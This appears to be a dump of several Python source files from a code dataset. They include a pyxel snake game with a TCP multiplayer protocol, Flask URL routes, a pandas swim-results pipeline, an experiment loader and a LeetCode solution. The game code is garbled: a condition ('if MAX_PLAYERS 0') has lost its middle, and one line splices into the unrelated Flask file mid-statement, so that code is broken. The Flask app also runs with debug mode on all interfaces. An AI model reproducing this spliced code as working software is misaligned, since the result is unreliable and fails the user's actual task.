buffer, 0, self.msg_type,self.message_length())#\"\"\" Write message header, return offset \"\"\"\n\n def encode(self):#\"\"\" encode message into bytes \"\"\"\n msg_bytes = self.reserve_msg_buffer()\n offset = self.pack_header(msg_bytes)\n offset += pack_into(self.player_id_format, msg_bytes, offset, self.index)\n offset += pack_into('{}p'.format(len(self.player.name) + 1), msg_bytes, offset, self.player.name.encode())\n return bytes(msg_bytes)\n\n @staticmethod\n def decode(payload) :# \"\"\" Return decoded [remote_id, player_name] tuple \"\"\"\n remote_id, = struct.unpack_from(PlayerRegisterMessage.player_id_format, payload, 0)\n offset=4\n str_len, = struct.unpack_from('B', payload, offset)#\"\"\" Unpack variable lenght str from message payload \"\"\"\n name = struct.unpack_from( '{}p'.format(str_len + 1), payload, offset)\n print('debug name:',name)\n return (remote_id, name)\n\nclass PlayerRegisteredMessage():# \"\"\" Register client player to the server \"\"\" - it had Message before\n register_format = '>ii'\n def __init__(self, snake_id, remote_id):\n self.msg_type = S_PLAYER_REGISTERED\n self.snake_id = snake_id\n self.remote_id = remote_id\n\n def message_length(self): return struct.calcsize(self.register_format)\n def total_message_size(self):return self.message_length() + struct.calcsize(HEADER_FORMAT)\n def reserve_msg_buffer(self): return bytearray(self.total_message_size())#\"\"\" Reserve big enough buffer for the message \"\"\"\n def pack_header(self, buffer):return pack_into(HEADER_FORMAT, buffer, 0, self.msg_type,self.message_length())#\"\"\" Write message header, return offset \"\"\"\n\n def encode(self):# \"\"\" encode message into bytes \"\"\"\n msg_bytes= self.reserve_msg_buffer()\n offset = self.pack_header(msg_bytes)\n offset += pack_into(self.register_format, msg_bytes, offset, self.snake_id, self.remote_id)\n return bytes(msg_bytes)\n\n def decode(self, payload): self.snake_id, self.remote_id = struct.unpack_from( self.register_format, payload, 0)# \"\"\" Decode snake_id and remote_id from server message \"\"\"\n\nclass SnakeInputMessage():# \"\"\" Client to server snake control message \"\"\" - it had Message before\n input_format = '>ii'\n def __init__(self, snake_id, snake_input):\n self.msg_type = C_SNAKE_INPUT\n self.snake_id = snake_id\n self.snake_input = snake_input\n\n def message_length(self):return struct.calcsize(self.input_format)# \"\"\" Calculate message length \"\"\"\n def total_message_size(self):return self.message_length() + struct.calcsize(HEADER_FORMAT)\n def pack_header(self, buffer):return pack_into(HEADER_FORMAT, buffer, 0, self.msg_type,self.message_length())#\"\"\" Write message header, return offset \"\"\"\n def reserve_msg_buffer(self): return bytearray(self.total_message_size())#\"\"\" Reserve big enough buffer for the message \"\"\"\n \n def encode(self):# \"\"\" Encode message to bytes to be send \"\"\"\n msg_bytes= self.reserve_msg_buffer()\n offset = self.pack_header(msg_bytes)\n offset += pack_into(self.input_format, msg_bytes, offset, self.snake_id, self.snake_input)\n return bytes(msg_bytes)\n\n def decode(self, payload): self.snake_id, self.snake_input = struct.unpack_from( self.input_format, payload, 0)#\"\"\" Decode snake_id and input from message payload \"\"\"\n\nclass GameStateUpdateMessage(): # \"\"\" Game state update message encoding and decoding \"\"\" it had Message before\n pizza_count_format = '>ii'\n pizza_rem_id_format = '>i'\n pizza_added_format = '>4i'\n snake_count_format = '>i'\n snake_header_format = '>4i'\n snake_part_format = '>3i'\n\n def __init__(self, added_pizzas, removed_pizzas):\n self.msg_type = S_GAME_UPDATE\n self.added_pizzas = added_pizzas\n self.RMedPZ = removed_pizzas\n self.SN_UPD= []\n\n def message_length(self):#\"\"\" Calculate the message payload byte size (without header) \"\"\"\n removed = len(self.RMedPZ)\n added = len(self.added_pizzas)\n msg_len = (struct.calcsize(self.pizza_count_format) + removed * struct.calcsize(self.pizza_rem_id_format) + added * struct.calcsize(self.pizza_added_format))\n msg_len += struct.calcsize(self.snake_count_format)\n for _, _, _, added_parts in self.SN_UPD: msg_len += ( struct.calcsize(self.snake_header_format) + struct.calcsize(self.snake_part_format) * len(added_parts))\n return msg_len\n\n def encode_pizzas(self, msg_buffer, offset):# \"\"\" Encode pizzas into the message \"\"\"\n offset += pack_into(self.pizza_count_format, msg_buffer, offset, len(self.RMedPZ), len(self.added_pizzas))\n for id in self.RMedPZ:offset += pack_into(self.pizza_rem_id_format, msg_buffer, offset,id)\n for pizza in self.added_pizzas:offset += pack_into(self.pizza_added_format, msg_buffer, offset,pizza.id, pizza.x, pizza.y, pizza.r)\n return offset\n\n def encode_snakes(self, msg_buffer, offset):#\"\"\" Encode snakes into the message \"\"\"\n offset += pack_into(self.snake_count_format, msg_buffer, offset,len(self.SN_UPD))\n for snake_id, snake_dir, rem_count, added, in self.SN_UPD:\n offset += pack_into(self.snake_header_format, msg_buffer, offset,snake_id, snake_dir, rem_count, len(added))\n for part in added:offset += pack_into(self.snake_part_format, msg_buffer, offset,part[0], part[1], part[2])\n return offset\n \n def total_message_size(self):return self.message_length() + struct.calcsize(HEADER_FORMAT)\n def reserve_msg_buffer(self): return bytearray(self.total_message_size())#\"\"\" Reserve big enough buffer for the message \"\"\"\n def pack_header(self, buffer):return pack_into(HEADER_FORMAT, buffer, 0, self.msg_type,self.message_length())#\"\"\" Write message header, return offset \"\"\"\n\n def encode(self):# \"\"\" Encode a complete server to client message as bytes object \"\"\"\n msg_bytes= self.reserve_msg_buffer()\n offset = self.pack_header(msg_bytes)\n offset = self.encode_pizzas(msg_bytes, offset)\n offset = self.encode_snakes(msg_bytes, offset)\n return bytes(msg_bytes)\n\n def decode_pizzas(self, payload: bytes, offset):# \"\"\" Decode pizza update from the server message payload \"\"\"\n removed, added = struct.unpack_from(self.pizza_count_format, payload,offset)\n offset += struct.calcsize(self.pizza_count_format)\n removed_format_size = struct.calcsize(self.pizza_rem_id_format)\n for _ in range(removed):\n rem, = struct.unpack_from(self.pizza_rem_id_format, payload,offset)\n offset += removed_format_size\n self.RMedPZ.append(rem)\n\n pizza_format_size = struct.calcsize(self.pizza_added_format)\n for _ in range(added):\n id, pos_x, pos_y, r = struct.unpack_from(self.pizza_added_format, payload, offset)\n offset += pizza_format_size\n self.added_pizzas.append(Pizza(pos_x, pos_y, r, id))\n return offset\n\n def decode_snakes(self, payload: bytes, offset):#\"\"\" Decode snakes part of the server game state update \"\"\"\n snake_count, = struct.unpack_from(self.snake_count_format, payload,offset)\n offset += struct.calcsize(self.snake_count_format)\n header_size = struct.calcsize(self.snake_header_format)\n part_size = struct.calcsize(self.snake_part_format)\n for _ in range(snake_count):\n snake_id, snake_dir, rem_count, added_count = struct.unpack_from(self.snake_header_format, payload, offset)\n offset += header_size\n added_parts = []\n for _ in range(added_count):\n pos_x, pos_y, part_id = struct.unpack_from(self.snake_part_format, payload, offset)\n offset += part_size\n added_parts.append((pos_x, pos_y, part_id))\n self.SN_UPD+=[(snake_id, snake_dir, rem_count, added_parts)]\n return offset\n\n def decode(self, payload):#\"\"\" Decode the gamestate update message payload.Generate 'added_pizzas', 'removed_pizzas' andsnake_updates lists. \"\"\"\n offset = 0\n offset = self.decode_pizzas(payload, offset)\n offset = self.decode_snakes(payload, offset)\n\nclass RemotePlayer():# \"\"\" Player whose inputs come over network \"\"\" - it had Player before\n def __init__(self, remote_id, name):\n super().__init__(name)\n self.remote_id = remote_id\n self.__last_snake_input = 0\n self.player_lock = threading.Lock()\n\n def set_remote_input(self, remote_input):#\"\"\" Safely store snake control input for this player \"\"\"\n with self.player_lock:self.__last_snake_input = remote_input\n\n def act(self):\n with self.player_lock:self.snake_input = self.__last_snake_input #\"\"\" Copy remote input to interface \"\"\"\n\n def send_update(self, snake_id, added_parts,num_RMVED):\n del snake_id # unused interface\n del added_parts # unused interface\n del num_RMVED # unused interface\n\nclass ClientConnection:# \"\"\" Socket encapsulation for sending message to clients \"\"\"\n def __init__(self, client_socket: socket.socket, addr):\n print(\"Got connection from \", addr)\n self.alive = 1\n self.client_socket = client_socket\n self.send_lock = threading.Lock()\n\n self.message_callbacks = {C_REGISTER_PLAYER: self.parse_register_player,C_SNAKE_INPUT: self.parse_snake_input}\n self.__players= {}\n self.__new_players = []\n self.player_lock = threading.Lock()\n listerner_thread = threading.Thread(target=self.listen_messages,args=())\n listerner_thread.start()\n\n def register_new_player(self, player: RemotePlayer):#\"\"\" Add player to temporary list of new players to be joining the game \"\"\"\n with self.player_lock:self.__new_players.append(player)\n\n def get_new_players(self):#\"\"\" Get a list of players that have not been mapped to game yet \"\"\"\n with self.player_lock:\n players = list(self.__new_players)\n self.__new_players.clear()\n return players\n\n def add_registered_players(self, new_players):#\"\"\" Add a new list of remote players that have been mapped to a snake \"\"\"\n with self.player_lock:\n for player in new_players:\n if player.snake_id != -1:self.__players[player.snake_id] = player\n\n for player in new_players:\n if player.snake_id != -1:self.send_message(PlayerRegisteredMessage(player.snake_id, player.remote_id))\n else:pass# TO_DO # self.send_message(PlayerRefusedMessage(player.remote_id,\"Game Full\"))\n \n def send_message(self, msg):self.send_bytes(msg.encode()) # \"\"\" Send a network message to this client connection \"\"\"\n\n def send_bytes(self, msg):# \"\"\" Send encoded network message to this client connection \"\"\"\n if self.alive:\n try:\n with self.send_lock:self.client_socket.sendall(msg)\n except socket.error:self.shutdown()\n\n def listen_messages(self):#\"\"\" Message listening loop for one client connection \"\"\"\n try:\n while 1:self.receive_messages()\n except socket.error:self.shutdown()\n\n def parse_register_player(self, payload):#\"\"\" Reguest for a new player from client \"\"\"\n remote_id, name = PlayerRegisterMessage.decode(payload)\n self.register_new_player(RemotePlayer(remote_id, name))\n\n def __set_input(self, snake_id, snake_input):# \"\"\" Safely set the input for a player \"\"\"\n with self.player_lock:\n if snake_id in self.__players:self.__players[snake_id].set_remote_input(snake_input)\n\n def parse_snake_input(self, payload):# \"\"\" Received a snake input message from client \"\"\"\n msg = SnakeInputMessage(0, 0)\n msg.decode(payload)\n self.__set_input(msg.snake_id, msg.snake_input)\n\n def send_game_update(self, game_msg: GameStateUpdateMessage):self.send_message(game_msg)#\"\"\" Send a snake update to a client \"\"\"\n\n def receive_messages(self):# \"\"\" Read one message from socket \"\"\"\n header = self.client_socket.recv(struct.calcsize(HEADER_FORMAT))\n msg_type, msg_len = struct.unpack_from(HEADER_FORMAT, header, 0)\n payload = self.client_socket.recv(msg_len)\n self.message_callbacks[msg_type](payload)\n\n def shutdown(self):# \"\"\" Shutdown client connection \"\"\"\n self.alive = 0\n self.client_socket.close()\n\nclass TCPServer:# \"\"\" Contains socket connections to clients, handles new connections \"\"\"\n def __init__(self, port):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_address = ('', port)\n self.sock.bind(server_address)\n print(\"Listening at {}:{}\".format(socket.gethostbyname(socket.gethostname()), port))\n self.CONNsNew = []\n self.connections = []\n self.connection_lock = threading.Lock()\n self.listening_thread = None\n\n def get_new_connections(self):#\"\"\" Safely return a list of new connections \"\"\"\n conns= []\n with self.connection_lock:\n conns += self.CONNsNew\n self.CONNsNew.clear()\n return conns\n \n def __add_connection(self, conn):#\"\"\" Append new connection safely to list of new connections \"\"\"\n with self.connection_lock:self.CONNsNew+=[conn]\n\n def accept_connections(self):#\"\"\" Server listener socket loop, accept connections \"\"\"\n try:\n self.sock.listen(5)\n while 1:self.__add_connection(ClientConnection(*self.sock.accept()))\n except socket.error: pass\n print(\"Closing server, thanks for playing!\")\n self.sock.close()\n\n def start_listening(self):# \"\"\" Start listening thread \"\"\"\n self.listening_thread = threading.Thread(target=self.accept_connections, args=())\n self.listening_thread.start()\n\n def broadcast(self, msg):# \"\"\" Send a message to all connected clients\"\"\"\n msg_data = msg.encode()\n for conn in self.connections: conn.send_bytes(msg_data)\n\n def shutdown(self):# \"\"\" Close sockets and terminate \"\"\"\n self.sock.close()\n connections = self.get_new_connections()\n for conn in connections: conn.shutdown()\n for conn in self.connections: conn.shutdown()\n\nclass TCPClient:# \"\"\" Class that encapsulate the TCP connection to the server \"\"\"\n def __init__(self, server_addr):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"Connecting to \", server_addr)\n self.sock.connect(server_addr)\n self.message_callbacks = { S_GAME_UPDATE: self.parse_game_update, S_PLAYER_REGISTERED: self.parse_player_registered }\n self.received_game_updates = []\n self.player_to_snake = {}\n print(\"Connected to {}:{}, self {}\".format(server_addr[0],server_addr[1],self.sock.getsockname()))\n\n def register_player(self, index, player): self.sock.sendall(PlayerRegisterMessage(index, player).encode())# \"\"\" Send register player message to server \"\"\"\n\n def send_snake_input(self, local_id, snake_input):# \"\"\" Send snake input for a player to the server \"\"\"\n if local_id in self.player_to_snake:\n snake_id = self.player_to_snake[local_id]\n self.sock.sendall(SnakeInputMessage(snake_id, snake_input).encode())\n\n def parse_player_registered(self, payload):# \"\"\" Receive information from server about which snake is yours to control \"\"\"\n snake_id, player_id = struct.unpack_from('>ii', payload, 0)\n self.player_to_snake[player_id] = snake_id\n\n def parse_game_update(self, payload):# \"\"\" Parse pizza update message, generate a new item into received_pizza_updates list \"\"\"\n msg = GameStateUpdateMessage([], [])\n msg.decode(payload)\n self.received_game_updates.append(msg)\n\n def receive_game_uptate(self) -> bool:# \"\"\" Listen to messages until a game update Message has been read, return 0 if Connection was closed \"\"\"\n message_type = 0\n try:\n while message_type != S_GAME_UPDATE: message_type = self.receive_message()\n except socket.error:\n print(\"Connection closed!\")\n return 0\n return 1\n\n def receive_message(self):#\"\"\" Read one server message from socket \"\"\"\n header = self.sock.recv(struct.calcsize(HEADER_FORMAT))\n msg_type, msg_len = struct.unpack_from(HEADER_FORMAT, header, 0)\n payload = self.sock.recv(msg_len)\n typed_message = msg_type\n\n self.message_callbacks[typed_message](payload)\n return typed_message\n\n def shutdown(self):self.sock.close()#\"\"\" Shutdown the client connection \"\"\"\n\n########################################## MAIN \n\n# 20% smaller than original - PLAY_AREA PA=(W,H)\nW=H=240# larger screen - height changed from 160\n\nS_INI_LEN = 8 #20 - SNAKE_INITIAL_LENGTH\nS_SPD = 0.8 # 4 - SNAKE_SPEED\nS_R = 2 # 10 - SNAKE_RADIUS\nSD = 2 * S_R #- SNAKE_DIAMETER\nS_TURN = 6 # SNAKE_TURN_RATE\nPZ_R_RANGE = (3,10)#(10, 50) - pizza radius range\nPZ_NUM = 10 # PIZZA_NUM\n\n#self.dim =(1+W//SD,1+H//SD)\n\nGRID_W=1+W//SD\nGRID_H=1+H//SD\n\nMAX_PLAYERS = 8\nPLAYER_INIT_STATE =[ # posX,posY and orientation\n (SD,H//2,0),# left\n (W//2,SD,90),# top\n (W-SD,H//2,180),# right\n (W//2,H-SD,270),# bottom\n (SD,SD,45), #top left\n (W-SD, SD,135),# top right\n (W-SD,H-SD,225),# bottom right\n (SD,H-SD,315),# bottom left\n ]\n\nclass Game:\n def __init__(self):\n P.init(W,H,scale=1)# pygame >> pyxel\n self.GS = GameState()\n self.ongame=1\n self.frame_num= 0\n self.players = []\n self.inputs = InputHandler()\n self.server = TCPServer(DEFAULT_PORT) ### NETWORK HANDLING !!!!\n self.server.start_listening()\n\n self.add_player(Human('P1', self.inputs, (P.KEY_LEFT, P.KEY_RIGHT)))#(P.K_LEFT, P.K_RIGHT)\n\n for i in range(3):self.add_player(SimpleAI('Bot%d'%i))\n #run(self.update, self.draw)\n\n def add_player(self, player):#\"\"\" Add a player to the game. \"\"\"\n id = len(self.GS.SN)\n print('add_player() - id',id)\n if MAX_PLAYERS 0 and not snake.alive:\n self.GS.COLMGR.remove_parts(snake.BODY)\n snake.clear()\n # TODO remove? Game end logic and scoring?\n snake.reset(*PLAYER_INIT_STATE[snake_id])\n\n self.GS.PZ_MGR.update_pizzas()\n #def update_state_to_players(self):#\"\"\" Send all tick changes to all players.This tells AI and remote players the game state\"\"\"\n # TODO move to networking code\n new_connections = self.server.get_new_connections()\n if len(new_connections) > 0:\n game_msg = GameStateUpdateMessage(self.GS.PZ, [])\n for snake_id, snake in enumerate(self.GS.SN): game_msg.SN_UPD+=[(snake_id, snake.dir, 0,snake.BODY)]\n msg_data = game_msg.encode()\n for conn in new_connections: conn.send_bytes(msg_data)\n\n if len(self.server.connections) > 0:\n game_msg = GameStateUpdateMessage(\n self.GS.PZ_MGR.NewPZ,\n self.GS.PZ_MGR.RMedPZ)\n for snake_id, snake in enumerate(self.GS.SN): game_msg.SN_UPD+=[(snake_id, snake.dir, len(snake.RMVED),snake.ADDED)]\n self.server.broadcast(game_msg)\n\n self.server.connections += new_connections\n\n for conn in self.server.connections:\n players_to_register = conn.get_new_players()\n for player in players_to_register:self.add_player(player)\n conn.add_registered_players(players_to_register)\n\n # TODO clean closed connections\n\n self.frame_num += 1\n\n def draw_game(self, GS):\n P.cls(1)\n for pz in GS.PZ:# draw all pizza\n for d,c in zip((0,1,2),(4,10,9)):P.circ(pz.x,pz.y,pz.r-d,c)# color 5 is temporarily\n\n for i, snake in enumerate(GS.SN): # execute it for all snakes\n POS=snake.ADDED[0]\n c = 11 if i<1 else 8\n for part in snake.ADDED:\n P.circ(part[0], part[1], S_R,c)# color 5 is temporarily\n snake.ADDED.clear()\n \n #for part in snake.RMVED:\n # P.circ(part[0], part[1], S_R,1)# color 5 is temporarily\n snake.RMVED.clear()\n\n for part in snake.BODY:\n P.circ(part[0], part[1],S_R, c)# color 5 is temporarily\n\n if len(snake.BODY) > 0:\n part = snake.BODY[-1]\n P.circ(part[0], part[1],S_R+2,c)\n\n P.text(POS[0],POS[1]-1,str(i),0)# player id shadow\n P.text(POS[0]-1,POS[1]-2,str(i),7 if i<1 else 10)# player id draw\n\n def run(self):# \"\"\" Main Program Loop \"\"\"\n while self.ongame:\n P.cls\n self.handle_events()\n\n for player in self.players:player.act()\n self.gameupdate()\n self.draw_game(self.GS)\n #P.display.flip()\n P.flip()\n InputState.clear_tick_states()\n self.GS.PZ_MGR.clear_tick_changes()\n# self.clock.tick(60)# --- Limit to 60 frames per second\n #P.display.quit()\n self.server.shutdown()\n\nSTATES = []\n\n#@unique\nclass Action(IntEnum):# \"\"\" All game actions that buttons can be mapped to \"\"\"\n TURN_LEFT = 0\n TURN_RIGHT = auto() # what is it ???? >> looks coming from enum\n\nclass InputState:# \"\"\" Game action state \"\"\"\n @staticmethod\n def clear_tick_states():# \"\"\" Clear the per tick 'pressed' and 'released' states of all existing input states \"\"\"\n for x in STATES: \n x.button_pressed = [0] * len(Action)\n x.button_released = [0] * len(Action)\n\n def __init__(self):\n self.button_state = [0] * len(Action)\n self.button_pressed = [0] * len(Action)\n self.button_released = [0] * len(Action)\n STATES.append(self)\n print('len(Action)',len(Action),Action)\n\n def handle_action(self, action, down):# \"\"\" Update input state based on action \"\"\"\n self.button_state[action] = down\n self.button_pressed[action] = down\n self.button_released[action] = not down\n print('debug button_state:',self.button_state[action])\n print('debug button_pressed:',self.button_pressed[action])\n print('debug button_released:',self.button_released[action])\n\nclass InputHandler:#\"\"\" Contains button states, handles input mappings to game actions \"\"\"\n def add_mapping(self, IN, key_code, action):\n self.button_mappings[action]+=[(key_code, IN)]#\"\"\" Create a input mapping from key_code to game action \"\"\"\n print('self.button_mappings[action]',self.button_mappings[action])\n\n def __init__(self):\n self.button_mappings=[[]for _ in Action]\n\n def handle_event(self, event):#\"\"\" Process input mapping for event and update Action state \"\"\" \n if event.type != P.KEY_DOWN and event.type != P.KEY_UP:return\n is_down = event.type == P.KEY_DOWN\n for action_index, mapped_keys in enumerate(self.button_mappings):\n for m in mapped_keys:\n if event.key == m[0]:\n m[1].handle_action(Action(action_index), is_down)\n\nclass Snake:# \"\"\" Contains the state of a single snake object \"\"\"\n def __init__(self, init_state):\n self.reset(*init_state)\n self.BODY = []\n self.ADDED = []\n self.RMVED = []\n\n def reset(self, x,y,d):#\"\"\" Reset snake to initial position and length, mark it alive \"\"\"\n self.length = S_INI_LEN\n self.pos = (x,y)\n self.dir = d\n self.alive = 1\n\n def head(self):return self.BODY[-1]#\"\"\" the front of the snake \"\"\"\n\n def clear(self):#\"\"\" Mark all snake parts as removed, clear all parts \"\"\"\n self.RMVED += self.BODY\n self.BODY = []\n self.length = 0\n\n def crate_new_head(self, frame_num):\n self.add_part((int(self.pos[0]), int(self.pos[1]), frame_num))#\"\"\" Create a new head part at snake position \"\"\"\n\n def add_part(self, x):# \"\"\" Add a single part to the snake head \"\"\"\n self.BODY+=[x]\n self.ADDED+=[x]\n\n def add_parts(self, G):# \"\"\" Add multi bodies to the snake head \"\"\"\n for x in G:self.add_part(x)\n \n def remove_part(self):self.RMVED+=[self.BODY.pop(0)]# \"\"\" Remove a part from the TAIL \"\"\"\n\n def snake_update(self, frame_num, turn_input):# \"\"\" Apply inputs and update snake head and tail. Changed parts can be queried in ADDED and RMVED \"\"\"\n self.dir += turn_input\n rad = math.radians(self.dir)\n vel = (S_SPD * math.cos(rad), S_SPD * math.sin(rad)) #\"\"\" Calculate movement vector from direction and velocity \"\"\"\n self.pos = (self.pos[0] + vel[0], self.pos[1] + vel[1])\n self.crate_new_head(frame_num)\n if self.length', 'news_archive', news.list_news)\napp.add_url_rule('/news/article/', 'news_read', news.read_article)\n\n## All mix related routes\napp.add_url_rule('/mixes', 'mixes', mix.list_mixes)\napp.add_url_rule('/mixes/page/', 'mix_archive', mix.list_mixes)\napp.add_url_rule('/mixes/view/', 'view_mix', mix.view_mix)\napp.add_url_rule('/mixes/edit/', 'edit_mix', mix.edit_mix, methods=['GET', 'POST'])\napp.add_url_rule('/mixes/new', 'new_mix', mix.new_mix, methods=['GET', 'POST'])\napp.add_url_rule('/mixes/upload', 'upload_mix', mix.upload, methods=['POST'])\n\n## All admin related routes\napp.add_url_rule('/admin/', 'admin_index', admin.index)\napp.add_url_rule('/admin/index', 'admin_index', admin.index)\n\napp.add_url_rule('/admin/users/', 'admin_list_users', admin.list_users)\napp.add_url_rule('/admin/users/remove/', 'admin_remove_user', admin.remove_user, methods=['GET', 'POST'])\napp.add_url_rule('/admin/users/edit/', 'admin_edit_user', admin.edit_user, methods=['GET', 'POST'])\n\napp.add_url_rule('/admin/news/', 'admin_list_news', admin.list_news)\napp.add_url_rule('/admin/news/new', 'admin_add_news', admin.add_news, methods=['GET', 'POST'])\napp.add_url_rule('/admin/news/remove/', 'admin_remove_news', admin.remove_news, methods=['GET', 'POST'])\napp.add_url_rule('/admin/news/edit/', 'admin_edit_news', admin.edit_news, methods=['GET', 'POST'])\n\nif __name__ == '__main__':\n\tapp.run(host='0.0.0.0', debug=True)\n","sub_path":"alpacafiles.py","file_name":"alpacafiles.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"433076230","text":"from src.swimmer import Swimmer, Team, Race\nimport pandas as pd\nimport os\nimport sys\nimport re\nimport json\nimport logging\n\n\nclass FormFile:\n \"\"\"\n Operate file, that performs all the bits and pieces of loading an excel file\n to a pandas dataframe object.\n \"\"\"\n def __init__(self, file_path: str, sheet_name=None):\n \"\"\"\n :param file_path: a relative file_path from the main directory: /fictional-happiness\n :param sheet_name: the sheet_name -> str for which all the data is stored in.\n :attribute dfs: a list of dictionaries that have the keys of sheetnames and values of dataframes\n this data structure was implemnted to create one object for one excel file with multiple sheets, instead of\n having to create several objects of the same file but for different sheets\n \"\"\"\n self.file_path = file_path\n self.sheet_name = sheet_name\n self.dfs = []\n\n @staticmethod\n def changeworkingdirectorytomain():\n \"\"\"\n Changes the current working directory to /fictional-happiness\n :return: 1 -> int if the change was successful and 0 -> int if the current\n working directory was not changed.\n \"\"\"\n for path in sys.path:\n if re.match(r\".*fictional-happiness$\", path):\n os.chdir(path)\n return 1\n return 0\n\n def read2dataframe(self):\n \"\"\"\n Given an excel file path, start_row and end_row it can\n then return a dataframe\n :return: dataframe with all data\n \"\"\"\n self.dfs.append(pd.read_excel(io=self.file_path, sheet_name=self.sheet_name))\n return self.dfs\n\n\nclass Pipe:\n \"\"\"\n A marshaller that takes data from the dataframe and creates team objects and\n swimmer objects.\n \"\"\"\n def __init__(self, his_data):\n \"\"\"\n loads the dataframe and then initializes all the\n swimmer objects into team objects.\n :param his_data: must be a dataframe\n \"\"\"\n self.teams = []\n self.his_data = his_data\n self.his_data.fillna(\"--\", inplace=True)\n\n def store(self):\n \"\"\"\n Takes data from the dataframe and makes swimmer objects with\n :return: a list of team objects\n \"\"\"\n all_teams = [] # a list containing all swimmers from different schools\n for teams in self.his_data.School.unique():\n t = Team(teams)\n for gender in [\"BOYS\", \"GIRLS\"]:\n current_team = {\"BOYS\": [], \"GIRLS\": []}\n for name in self.his_data[self.his_data.Gender == gender].Name.unique():\n swimmer = {name: {}}\n # loop through all the swims that this swimmer has made\n for entry_index in list(self.his_data[self.his_data.Name == name].index):\n entry = self.his_data.iloc[entry_index]\n '''\n add information such as Time, Date_Swam, Local Rank\n to the event dictionary of the swimmer.\n '''\n list_entry = list(entry)\n if entry.Event in swimmer[name]: # check if event already in dict\n swimmer[name][entry.Event].append(list_entry)\n else:\n swimmer[name][entry.Event] = list_entry\n swimmer_school = entry.School # chooses the most recent school that the swimmer has attended\n swimmer_age = int(entry.Age) # chooses the most recent entry as age factor\n swimmer_grade = entry.Grade # chooses the most recent entry of grade\n current_team[gender].append(Swimmer(school=swimmer_school, sex=gender, name=name,\n age=swimmer_age, his_data=swimmer.get(name)))\n # add all current swimmer objects into a gender list that also seperates\n # the gender and team\n t.boys_list.append(current_team[\"BOYS\"])\n t.girls_list.append(current_team[\"GIRLS\"])\n all_teams.append(t)\n self.teams = all_teams\n return self.teams\n\n @staticmethod\n def time_conversion(s):\n \"\"\"\n Converts a abstract representation of time into seconds, which is represented as a float.\n\n :param s: str and it is an abstract representation of time that is easy to type in excel\n Example:\n 2.16.86 --> 2 (minutes) 16 (seconds) 86 (milliseconds)\n 56.13 --> 56 (seconds) 13 (milliseconds)\n :return: A float that represents the number of seconds\n \"\"\"\n s_split = s.split(\".\")\n if len(s_split) == 2:\n total_time = int(s_split[0]) + float(\".\" + s_split[1])\n return total_time\n elif len(s_split) == 3:\n total_time = int(s_split[0]) * 60 + int(s_split[1]) + float(\".\" + s_split[2])\n return total_time\n else:\n logging.warning(\"The time passed in is not in the correct format: {}\".format(s))\n return\n\n def filter(self):\n FormFile.changeworkingdirectorytomain()\n with open(\"data/selection.json\") as file:\n default_swimmers = json.load(file)\n\n boy_swimmers = default_swimmers[\"default_selection_names\"][\"boys\"]\n logging.debug(\"{} boy swimmers initiated.\".format(len(boy_swimmers)))\n girl_swimmers = default_swimmers[\"default_selection_names\"][\"girls\"]\n logging.debug(\"{} girl swimmers initiated.\".format(len(girl_swimmers)))\n for index, row in self.his_data.iterrows():\n new_time = self.time_conversion(str(row.Time))\n self.his_data.iloc[index, 6] = new_time\n self.his_data = self.his_data[self.his_data[\"Name\"].isin(boy_swimmers) | self.his_data[\"Name\"].isin(girl_swimmers)]\n return 1\n\n\nif __name__ == \"__main__\":\n os.chdir(\"../data\")\n print(os.getcwd())\n f = FormFile(\"data/vswim_data.xlsx\")\n f.changeworkingdirectorytomain()\n p = Pipe(f.read2dataframe()[0][\"Sheet1\"])\n print(p.store())\n\n # print(p.his_data.index)\n # l = []\n # l.append(list(p.his_data.iloc[0])[4:])\n\n\n # print(p.store())\n","sub_path":"src/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":6249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"540783238","text":"__author__ = 'Jwely'\n\nimport pandas as pd\nimport os\nfrom py.manager.Experiment import Experiment\nfrom axial_vortex import axial_vortex\n\n\ndef experiments(experiment_table_path, experiment_directory_path, ids=None,\n min_points=20, force_recalc=False):\n \"\"\"\n Constructs an Experiment instance with all useful attributes of the experiment. Some of these\n attributes are read from ancillary data in the `dat` folder.\n\n :param experiment_table_path: filepath to `experiment_table.csv` usually in `dat` folder\n :param experiment_directory_path: path to directory with all exp data `data_full`\n :param ids: list of run ID numbers to use\n :param min_points: when building the experiments AxialVortex data, cells\n with fewer good samples than min_points will be masked and\n treated as NoData. A higher min_point requirement reduces\n the overall size of the dataset, but improves quality\n :param force_recalc: forces re-computation from raw data of all derived values.\n if left False, data may be loaded from a previous binary file\n instead of crecomputed.\n :return experiments: a list full of Experiment instances, without dynamic data.\n probably pretty memory intensive.\n \"\"\"\n\n dataframe = pd.read_csv(experiment_table_path)\n experiments = []\n\n if ids is None:\n ids = range(0, len(dataframe) + 1)\n\n for i, row in dataframe.iterrows():\n if row['experiment_id'] in ids:\n # build the experiment object\n kwargs = row.to_dict()\n exp_dir = os.path.join(experiment_directory_path, str(row['experiment_id']))\n exp = Experiment(**kwargs)\n\n # now build up the vortex associated with it, and add it to the experiment\n name_tag = \"ID-{0}_Z-{1}_Vfs-{2}\".format(row['experiment_id'],\n row['z_location'],\n row['v_fs_mean'])\n\n av = axial_vortex(v3d_dir=exp_dir,\n pkl_dir=\"../pickles\",\n name_tag=name_tag,\n include_dynamic=False,\n velocity_fs=row['v_fs_mean'],\n force_recalc=force_recalc,\n min_points=min_points)\n exp.ingest_axial_vortex(av)\n experiments.append(exp)\n\n return experiments\n\n\nif __name__ == \"__main__\":\n\n experiments(\"dat/experiment_table.csv\", \"../../data_full\")\n\n\n\n\n","sub_path":"py/constructor/experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"544400840","text":"class Solution:\n def minRemoveToMakeValid(self, s: str) -> str:\n a = [i for i, c in enumerate(s) if c in \"()\"]\n stack = []\n for idx in a:\n if s[idx] == ')' and stack and s[stack[-1]] == '(':\n stack.pop()\n else:\n stack.append(idx)\n remove = set(stack)\n res = \"\"\n for i in range(len(s)):\n if i not in remove:\n res += s[i]\n return res\n\n\ns = 